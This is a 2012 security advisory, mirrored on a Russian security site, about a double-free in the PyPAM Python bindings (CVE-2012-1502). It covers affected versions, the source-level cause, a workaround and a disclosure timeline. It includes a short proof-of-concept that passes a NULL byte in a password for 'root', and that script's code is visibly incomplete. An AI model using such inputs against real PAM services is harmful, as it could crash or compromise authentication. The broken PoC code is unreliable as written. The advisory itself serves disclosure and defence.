Информационная безопасность
[RU] switch to English

Дополнительная информация

  Повреждение памяти в python-pam

  [USN-1395-1] PyPAM vulnerability

From:Markus Vervier <markus.vervier_(at)_lsexperts.de>
Date:10 марта 2012 г.
Subject:LSE-2012-03-01: PyPAM -- Python bindings for PAM - Double Free Corruption

Hash: SHA1

=== LSE Leading Security Experts - Security Advisory 2012-03-01 ===

PyPAM -- Python bindings for PAM - Double Free Corruption
- ---------------------------------------------------------

Affected Versions
PyPAM <= 0.4.2
Red Hat PyPAM <= 0.5.0-12
Debian python-pam <= 0.4.2-12.2
Ubuntu python-pam <= 0.4.2-12.2
SUSE python-pam <= 0.5.0-79.1.2
Gentoo pypam <= 0.5.0

Problem Overview
Technical Risk: high
Likelihood of Exploit: low to medium
Vendor: Rob Riggs, Various
Discovery: Markus Vervier
Advisory URL: http://www.lsexperts.de/advisories/lse-2012-03-01.txt
Advisory Status: Public
CVE-Number: CVE-2012-1502

Problem Description
While conducting an internal test LSE discovered that by supplying
a password containing a NULL-byte to the PyPAM module, a double-free [1]
condition is triggered. This leads to undefined behaviour and may allow
remote code execution.

Temporary Workaround and Fix
Filtering NULL-bytes in strings before passing them to the PyPAM module
will mitigate the exploit. Also current GLIBC protections may prevent
the double-free condition from being exploitable. It is advised to update
to a fixed version of PyPAM.

Detailed Description
When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with
Null-Bytes, a TypeError exception is raised [2]. The security problem
is in
line 82 of PAMmodule.c where free() is called on *resp, but *resp is not
set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls
free on the response again unless (*resp == NULL), which leads to
undefined behaviour.

The following PoC script triggers the problem:

#!/usr/bin/env python
## python-pam 0.4.2 double free PoC
## 2012 Leading Security Experts GmbH
## Markus Vervier
# -*- coding: utf-8 -*-

def verify_password(user, password):
   import PAM
   def pam_conv(auth, query_list, userData):
       resp = []
       resp.append( (password, 0))
       return resp
   res = -3
   service = 'passwd'

   auth = PAM.pam()
   auth.set_item(PAM.PAM_USER, user)
   auth.set_item(PAM.PAM_CONV, pam_conv)
   except PAM.error, resp:
       print 'Go away! (%s)' % resp
       res = -1
       print 'Internal error'
       res = -2
       print 'Good to go!'
       res = 0

   return res

print verify_password("root", "a\x00secret")

2012-03-02  Problem discovery during internal QA
2012-03-05  Original vendor and Debian maintainer contacted
2012-03-06  Public Patch released
2012-03-07  Various maintainers contacted
2012-03-07  CVE-2012-1502 assigned
2012-03-08  LSE learned in that this bug was previously discovered and
fixed in rPath Linux [3]
2012-03-08  Coordinated Advisory Release

[1] http://cwe.mitre.org/data/definitions/415.html
[2] http://docs.python.org/release/1.5.2p2/ext/parseTuple.html
[3] https://issues.rpath.com/browse/RPL-2773

- --
LSE Leading Security Experts GmbH, Postfach 100121, 64201 Darmstadt
Unternehmenssitz: Weiterstadt, Amtsgericht Darmstadt: HRB8649
Geschaftsfuhrer: Oliver Michel, Sven Walther, Dr. Peter Schill
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/


О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород